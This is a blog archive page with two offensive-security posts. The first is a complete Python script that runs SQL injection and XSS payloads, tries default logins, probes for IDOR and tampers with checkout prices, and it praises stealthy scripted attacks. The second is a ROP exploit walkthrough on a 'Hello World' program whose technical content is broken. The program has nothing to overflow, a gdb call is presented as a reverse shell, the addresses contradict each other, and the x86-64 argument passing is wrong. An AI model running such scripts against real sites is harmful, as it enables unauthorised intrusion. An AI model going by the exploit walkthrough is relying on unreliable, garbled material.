Python Bits and Pieces with Cyber Security: August 2025

Tuesday, August 26, 2025

Automating Workflow Attacks with Python and Requests

In penetration testing and red teaming, many attacks are not just a single request, but a workflow: login → capture token → replay token → exploit vulnerable endpoint. Manually repeating these steps can be slow, noisy, and prone to error.

That’s where custom Python scripts with the requests library shine. By chaining together multiple HTTP requests, you can automate complex workflows that attackers or testers often need.

Why Custom Scripts?

While tools like Burp Suite, OWASP ZAP, or Postman are excellent, sometimes you need more flexibility:

Repeatability – run the same workflow across multiple targets.
Logic chaining – capture a value (CSRF token, session cookie, API key) from one step and use it in the next.
Speed – automate hundreds of attempts without manual clicking.
Stealth – script-based attacks can blend in with “normal” user requests.

Example Workflow Attack

Let’s imagine a target app with the following flow:

Login with credentials.
Capture JWT token from the response.
Use token to access a protected API endpoint.
Exploit vulnerable parameter in that endpoint.

Here’s how a script might look:

#!/usr/bin/env python3
"""
Workflow Attack Chaining Script
Author: Security Researcher
Description: Chains multiple web application attacks for penetration testing
"""

import requests
import argparse
import sys
import re
import json
import time
from urllib.parse import urljoin, urlparse, parse_qs
from bs4 import BeautifulSoup

class WorkflowAttackChainer:
    def __init__(self, target_url, cookies=None, headers=None):
        self.target_url = target_url
        self.session = requests.Session()
        self.csrf_tokens = {}
        self.discovered_endpoints = []
        self.vulnerabilities = []
        
        # Set custom headers if provided
        if headers:
            self.session.headers.update(headers)
        
        # Set cookies if provided
        if cookies:
            self.session.cookies.update(cookies)
        
        # Default headers
        default_headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1'
        }
        self.session.headers.update(default_headers)

    def discover_endpoints(self, max_depth=2):
        """Discover endpoints through spidering and common paths"""
        print(f"[*] Discovering endpoints on {self.target_url}")
        
        common_paths = [
            '/admin', '/login', '/logout', '/register', '/profile',
            '/api', '/config', '/backup', '/upload', '/download',
            '/test', '/debug', '/console', '/phpinfo', '/.git',
            '/robots.txt', '/sitemap.xml', '/crossdomain.xml'
        ]
        
        # Check common paths
        for path in common_paths:
            full_url = urljoin(self.target_url, path)
            try:
                response = self.session.get(full_url, timeout=10)
                if response.status_code < 400:
                    self.discovered_endpoints.append({
                        'url': full_url,
                        'method': 'GET',
                        'status': response.status_code
                    })
                    print(f"[+] Found: {full_url} ({response.status_code})")
            except requests.RequestException:
                continue
        
        # Basic spidering from homepage
        try:
            response = self.session.get(self.target_url, timeout=10)
            soup = BeautifulSoup(response.text, 'html.parser')
            
            for link in soup.find_all('a', href=True):
                href = link['href']
                if href.startswith(('http://', 'https://')):
                    if self.target_url in href:
                        self.discovered_endpoints.append({
                            'url': href,
                            'method': 'GET',
                            'status': 'unknown'
                        })
                elif href.startswith('/'):
                    full_url = urljoin(self.target_url, href)
                    self.discovered_endpoints.append({
                        'url': full_url,
                        'method': 'GET',
                        'status': 'unknown'
                    })
        except requests.RequestException as e:
            print(f"[-] Error during spidering: {e}")

    def extract_csrf_tokens(self, response):
        """Extract CSRF tokens from response"""
        soup = BeautifulSoup(response.text, 'html.parser')
        tokens = {}
        
        # Look for CSRF tokens in various forms
        for input_tag in soup.find_all('input'):
            name = input_tag.get('name', '').lower()
            value = input_tag.get('value', '')
            
            if any(keyword in name for keyword in ['csrf', 'token', '_token', 'authenticity']):
                tokens[name] = value
            elif value and len(value) > 20:  # Potential token
                tokens[name] = value
        
        return tokens

    def test_sql_injection(self, url, params):
        """Test for SQL injection vulnerabilities"""
        print(f"[*] Testing SQLi on {url}")
        
        sql_payloads = [
            "'",
            "';",
            "' OR '1'='1",
            "' UNION SELECT NULL--",
            "1' ORDER BY 1--",
            "1' AND 1=1--",
            "1' AND 1=2--"
        ]
        
        for payload in sql_payloads:
            test_params = params.copy()
            for key in test_params:
                if isinstance(test_params[key], str):
                    test_params[key] += payload
            
            try:
                response = self.session.get(url, params=test_params, timeout=10)
                
                # Check for common SQL error messages
                error_indicators = [
                    'sql', 'mysql', 'ora-', 'syntax', 'database',
                    'query failed', 'you have an error'
                ]
                
                if any(indicator in response.text.lower() for indicator in error_indicators):
                    self.vulnerabilities.append({
                        'type': 'SQL Injection',
                        'url': url,
                        'payload': payload,
                        'evidence': 'Error message in response'
                    })
                    print(f"[!] Potential SQLi found with payload: {payload}")
                    break
                    
            except requests.RequestException:
                continue

    def test_xss(self, url, params):
        """Test for XSS vulnerabilities"""
        print(f"[*] Testing XSS on {url}")
        
        xss_payloads = [
            '<script>alert(1)</script>',
            '"><script>alert(1)</script>',
            'javascript:alert(1)',
            'onmouseover=alert(1)',
            '<img src=x onerror=alert(1)>'
        ]
        
        for payload in xss_payloads:
            test_params = params.copy()
            for key in test_params:
                if isinstance(test_params[key], str):
                    test_params[key] = payload
            
            try:
                response = self.session.get(url, params=test_params, timeout=10)
                
                if payload in response.text:
                    self.vulnerabilities.append({
                        'type': 'XSS',
                        'url': url,
                        'payload': payload,
                        'evidence': 'Payload reflected in response'
                    })
                    print(f"[!] Potential XSS found with payload: {payload}")
                    break
                    
            except requests.RequestException:
                continue

    def test_idor(self, url_pattern, id_range=(1, 100)):
        """Test for Insecure Direct Object References"""
        print(f"[*] Testing IDOR on pattern: {url_pattern}")
        
        for obj_id in range(id_range[0], id_range[1] + 1):
            test_url = url_pattern.replace('{id}', str(obj_id))
            
            try:
                response = self.session.get(test_url, timeout=10)
                
                if response.status_code == 200 and len(response.content) > 0:
                    self.vulnerabilities.append({
                        'type': 'IDOR',
                        'url': test_url,
                        'evidence': f'Access to object ID {obj_id} possible'
                    })
                    print(f"[!] Potential IDOR found: {test_url}")
                    
            except requests.RequestException:
                continue

    def chain_authentication_attack(self):
        """Chain authentication-related attacks"""
        print("[*] Chaining authentication attacks...")
        
        # Test for weak credentials
        weak_creds = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('test', 'test'),
            ('user', 'user')
        ]
        
        login_url = urljoin(self.target_url, '/login')
        
        for username, password in weak_creds:
            # Get login page to extract CSRF token
            try:
                response = self.session.get(login_url)
                csrf_tokens = self.extract_csrf_tokens(response)
                
                login_data = {
                    'username': username,
                    'password': password
                }
                login_data.update(csrf_tokens)
                
                # Attempt login
                response = self.session.post(login_url, data=login_data)
                
                if any(indicator in response.url.lower() for indicator in ['dashboard', 'home', 'profile']):
                    self.vulnerabilities.append({
                        'type': 'Weak Credentials',
                        'url': login_url,
                        'credentials': f'{username}:{password}',
                        'evidence': 'Successful login with weak credentials'
                    })
                    print(f"[!] Weak credentials found: {username}:{password}")
                    break
                    
            except requests.RequestException:
                continue

    def chain_business_logic_attack(self):
        """Chain business logic workflow attacks"""
        print("[*] Chaining business logic attacks...")
        
        # Example: Test for price manipulation
        cart_url = urljoin(self.target_url, '/cart')
        checkout_url = urljoin(self.target_url, '/checkout')
        
        try:
            # Add item to cart
            add_to_cart_data = {'product_id': '1', 'quantity': '1'}
            self.session.post(cart_url, data=add_to_cart_data)
            
            # Modify price in checkout
            checkout_data = {
                'items': '[{"id":1,"price":0.01,"quantity":1}]',
                'total': '0.01'
            }
            
            response = self.session.post(checkout_url, data=checkout_data)
            
            if 'success' in response.text.lower() or response.status_code == 200:
                self.vulnerabilities.append({
                    'type': 'Business Logic - Price Manipulation',
                    'url': checkout_url,
                    'evidence': 'Able to modify prices during checkout'
                })
                print("[!] Price manipulation vulnerability found!")
                
        except requests.RequestException as e:
            print(f"[-] Business logic test failed: {e}")

    def generate_report(self):
        """Generate a comprehensive report"""
        report = {
            'target': self.target_url,
            'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
            'endpoints_discovered': self.discovered_endpoints,
            'vulnerabilities_found': self.vulnerabilities
        }
        
        print("\n" + "="*60)
        print("SECURITY ASSESSMENT REPORT")
        print("="*60)
        print(f"Target: {self.target_url}")
        print(f"Endpoints Discovered: {len(self.discovered_endpoints)}")
        print(f"Vulnerabilities Found: {len(self.vulnerabilities)}")
        print("="*60)
        
        for vuln in self.vulnerabilities:
            print(f"\n[{vuln['type']}]")
            print(f"URL: {vuln['url']}")
            print(f"Evidence: {vuln['evidence']}")
            if 'payload' in vuln:
                print(f"Payload: {vuln['payload']}")
            print("-" * 40)
        
        # Save report to file
        filename = f"security_report_{time.strftime('%Y%m%d_%H%M%S')}.json"
        with open(filename, 'w') as f:
            json.dump(report, f, indent=2)
        
        print(f"\n[+] Report saved to {filename}")

def main():
    parser = argparse.ArgumentParser(description='Web Application Workflow Attack Chainer')
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-c', '--cookies', help='Cookies in format key1=value1;key2=value2')
    parser.add_argument('-H', '--headers', help='Custom headers in JSON format')
    parser.add_argument('-a', '--auth', help='Basic auth in format user:pass')
    parser.add_argument('-p', '--proxy', help='Proxy server (http://proxy:port)')
    
    args = parser.parse_args()
    
    # Initialize attacker
    attacker = WorkflowAttackChainer(args.url)
    
    # Set proxy if provided
    if args.proxy:
        attacker.session.proxies = {
            'http': args.proxy,
            'https': args.proxy
        }
    
    # Set auth if provided
    if args.auth:
        username, password = args.auth.split(':', 1)
        attacker.session.auth = (username, password)
    
    # Parse cookies
    if args.cookies:
        cookies = {}
        for cookie in args.cookies.split(';'):
            if '=' in cookie:
                key, value = cookie.split('=', 1)
                cookies[key.strip()] = value.strip()
        attacker.session.cookies.update(cookies)
    
    # Parse headers
    if args.headers:
        try:
            headers = json.loads(args.headers)
            attacker.session.headers.update(headers)
        except json.JSONDecodeError:
            print("[-] Invalid JSON format for headers")
            sys.exit(1)
    
    try:
        # Execute attack chain
        print(f"[*] Starting workflow attack chain against {args.url}")
        
        # Phase 1: Discovery
        attacker.discover_endpoints()
        
        # Phase 2: Authentication attacks
        attacker.chain_authentication_attack()
        
        # Phase 3: Test discovered endpoints
        for endpoint in attacker.discovered_endpoints[:10]:  # Limit to first 10
            if '?' in endpoint['url']:
                url_parts = endpoint['url'].split('?')
                base_url = url_parts[0]
                params = parse_qs(url_parts[1])
                
                # Test for SQLi and XSS
                attacker.test_sql_injection(base_url, params)
                attacker.test_xss(base_url, params)
        
        # Phase 4: Business logic attacks
        attacker.chain_business_logic_attack()
        
        # Phase 5: Generate report
        attacker.generate_report()
        
    except KeyboardInterrupt:
        print("\n[-] Scan interrupted by user")
        attacker.generate_report()
    except Exception as e:
        print(f"[-] Error during scanning: {e}")
        attacker.generate_report()

if __name__ == "__main__":
    main()

Key Techniques

Session handling: requests.Session() automatically manages cookies and headers.
Dynamic token extraction: parse JSON/HTML responses for CSRF tokens, JWTs, or session IDs.
Parameter fuzzing: loop through payloads to test for injection vulnerabilities.
Error handling: detect server responses that indicate misconfigurations or weak validation.

When to Use This

Red Teaming – simulate realistic attacker workflows against your apps.
Bug Bounties – chain multiple small issues into a bigger exploit.
Pentesting – automate token harvesting, replay, or privilege escalation.
DevSecOps Testing – integrate into pipelines for regression testing of known flaws.

Takeaways

Custom scripts with requests let you go beyond one-off requests. They allow you to chain steps into a complete workflow, making it easier to find and exploit vulnerabilities that would otherwise remain hidden.

Remember:

Always test responsibly in authorized environments.
Keep scripts modular so you can quickly adapt them for new targets.
Automate smartly—don’t just blast requests, but mimic real-world attack paths.

Applying a Return-Oriented Programming (ROP) Exploit to a Simple C++ Program

Exploitation research often starts with small, seemingly harmless programs. In this post, we’ll walk through how a simple C++ "Hello World" program can still be analyzed and targeted with a ROP exploit. While this example is primarily for educational purposes, it illustrates how attackers approach binary analysis and how system protections affect exploitability.

Step 1: The Vulnerable Program

Let’s start with the simplest C++ program:

#include <iostream>

int main() {
    std::cout << "Hello, world!" << std::endl;  
    return 0;
}

Compile it with debugging symbols so we can analyze it more easily:

g++ -g hello.c -o hello

Run it:

./hello
# Output: Hello, world!

Nothing special yet—just prints a message.

Step 2: Analyzing Binary Protections

We’ll use checksec to inspect what mitigations are enabled on this binary:

checksec --file=hello

Result:

1 2	RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No

Breakdown of Protections

Protection	Status	Explanation
RELRO	Partial RELRO	GOT (Global Offset Table) still writable, so function pointer overwrites possible.
Stack Canary	No canary	No stack smashing detection → buffer overflow possible.
NX	Enabled	Stack is non-executable → injected shellcode won’t run directly.
PIE	Enabled	Binary is position-independent, randomized under ASLR.
Symbols	Present	Debug symbols give more info to an attacker.
FORTIFY	Disabled	No additional hardening of unsafe libc functions.

⚡ Summary: Even this tiny program is potentially exploitable since no stack canary + partial RELRO opens the door for ROP-style attacks.

Step 3: Inspecting with GDB + GEF

Launch GDB with GEF then set a breakpoint at main:

gdb hello
gef➤ b *main
gef➤ run

We can now analyze the binary and its link to libc.

Let’s search for the /bin/sh string inside libc:

gef➤ grep /bin/sh
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6' ...
0x7ffff7ce3ea4 → "/bin/sh"

And check the system() function address:

gef➤ p system
$1 = 0x7ffff7b8f110 <system>

Perfect—we now have two critical addresses:

system() function entry point
/bin/sh string inside libc

If we can overwrite the return address in our binary, we can redirect execution to:

system("/bin/sh");

Step 4: Testing the Exploit

Inside GDB, we can even test this manually:

gef➤ call (int)system("/bin/sh")
$ whoami
mh1369080

A reverse shell worked successfully! 🎉

Step 5: Crafting a Payload

Let’s build an actual payload that mimics this ROP chain.

from struct import pack

padding = b"A" * 40  # buffer size to reach RIP overwrite
system_addr = pack("<Q", 0x555555554110)   # example system() address
ret_addr    = pack("<Q", 0x0)              # filler for return address
binsh_addr  = pack("<Q", 0x7ffff7ce3ea4)   # "/bin/sh" string address

payload = padding + system_addr + ret_addr + binsh_addr

open("payload", "wb").write(payload)

This payload:

Fills the buffer with junk (As).
Overwrites the saved return pointer with the address of system().
Passes "/bin/sh" as the argument.

When we overflow the buffer, the stack looks like this:

Normal Stack Layout (before overflow)

| ... higher addresses ... |
| Saved RBP (base pointer) |
| Saved RIP (return addr)  | ← execution goes back here after main()
| Local Variables          |
| Buffer [40 bytes]        |
| ... lower addresses ...  |

After Overflow (with payload)

| ... higher addresses ... |
| Saved RBP (corrupted)    |
| RIP → system() address   | ← attacker overwrites return address
| Fake RET (junk or 0)     | ← placeholder for return value after system()
| Arg → "/bin/sh" address  | ← passed to system() as argument
| "AAAAAAAAAAAAAAAA..."    |
| ... lower addresses ...  |

This is the ROP chain:

Execution returns into system().
The next 8 bytes act as a fake return address (not used).
The following 8 bytes are the pointer to "/bin/sh".

Step 6: Running the Exploit

Finally, run the program with the payload:

./hello < payload

If successful, you’ll land into a shell spawned by the exploited binary.

Here’s the payload breakdown:

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]  # 40-byte padding
[0x555555554110]                           # system() address
[0x0000000000000000]                       # fake return addr
[0x7ffff7ce3ea4]                           # "/bin/sh" string in libc

Which translates to:

system("/bin/sh");

ROP Flow Diagram

        ┌────────────┐
        │  Buffer    │
        └─────┬──────┘
              │ overflow
              ▼
        ┌───────────────┐
        │ Overwritten   │
        │ RIP → system  │
        └─────┬─────────┘
              │
              ▼
        ┌───────────────┐
        │ system()      │
        │   Arg: /bin/sh│
        └─────┬─────────┘
              │
              ▼
        ┌───────────────┐
        │   /bin/sh     │
        │   Interactive │
        │   Shell       │
        └───────────────┘

📌 Takeaways

A ROP chain hijacks execution flow by overwriting the return pointer.
The payload arranges the stack so that it looks like a valid function call: system("/bin/sh").
Visualization helps understand why stack protections (stack canaries, full RELRO, ASLR, etc.) are critical in modern systems.

⚠️ Disclaimer:
This post is strictly for educational and research purposes in a controlled environment. The goal is to understand binary exploitation, not to misuse it.